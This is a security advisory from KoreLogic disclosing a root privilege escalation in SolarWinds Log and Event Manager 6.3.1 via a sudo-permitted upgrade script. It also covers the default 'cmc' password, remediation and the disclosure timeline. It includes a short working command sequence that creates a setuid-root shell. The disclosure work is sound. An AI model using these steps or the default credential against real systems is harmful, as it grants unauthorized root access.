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KL-001-2017-006 : Solarwinds LEM Privilege Escalation via Sudo Script Abuse

KL-001-2017-006 : Solarwinds LEM Privilege Escalation via Sudo Script Abuse

Title: Solarwinds LEM Privilege Escalation via Sudo Script Abuse
Advisory ID: KL-001-2017-006
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-006.txt

1. Vulnerability Details

     Affected Vendor: Solarwinds
     Affected Product: Log and Event Manager Virtual Appliance
     Affected Version: v6.3.1
     Platform: Embedded Linux
     CWE Classification: CWE-269: Improper Privilege Management
     Impact: Privileged Access
     Attack vector: SSH

2. Vulnerability Description

     An attacker can abuse functionality provided by a script which
     may be run with root privilege in order to elevate privilege.

3. Technical Description

     Should an attacker gain access to the SSH console for the
     cmc user, root access to the underlying operating system can be
     achieved. The default password for the cmc user is "password".

     The cmc account can run certain script files with root privilege.
     Listed below:

     cmc     ALL=(ALL) NOPASSWD:

     One script, upgrade21.sh allows the user to change ownership and
     permission bits for an arbitrary file. This can be abused to
     elevate privilege to root.

     cmc@swi-lem:/usr/local/contego/scripts$ cp /bin/dash /tmp/koresh
     cmc@swi-lem:/usr/local/contego/scripts$ sudo ./upgrade21.sh setperms /tmp/koresh root root 4755
     sudo: unable to resolve host swi-lem
     cmc@swi-lem:/usr/local/contego/scripts$ /tmp/koresh
     # id
     uid=1001(cmc) gid=1000(trigeo) euid=0(root)

4. Mitigation and Remediation Recommendation

     The vendor has released a Hotfix to remediate this
     vulnerability. Hotfix and installation instructions are
     available at:


5. Credit

     This vulnerability was discovered by Hank Leininger and Matt
     Bergin (@thatguylevel) of KoreLogic, Inc.

6. Disclosure Timeline

     2017.02.16 - KoreLogic sends vulnerability report and PoC to
                  Solarwinds <psirt@xxxxxxxxxxxxxx> using PGP key
                  with fingerprint
                  A86E 0CF6 9665 0C8C 8A7C  C9BA B373 8E9F 951F 918F.
     2017.02.20 - Solarwinds replies that the key is no longer in
                  use, requests alternate communication channel.
     2017.02.22 - KoreLogic submits vulnerability report and PoC to
                  alternate Solarwinds contact.
     2017.02.23 - Solarwinds confirms receipt of vulnerability
     2017.04.06 - 30 business days have elapsed since Solarwinds
                  acknowledged receipt of vulnerability details.
     2017.04.11 - Solarwinds releases hotfix and public disclosure.
     2017.04.24 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description

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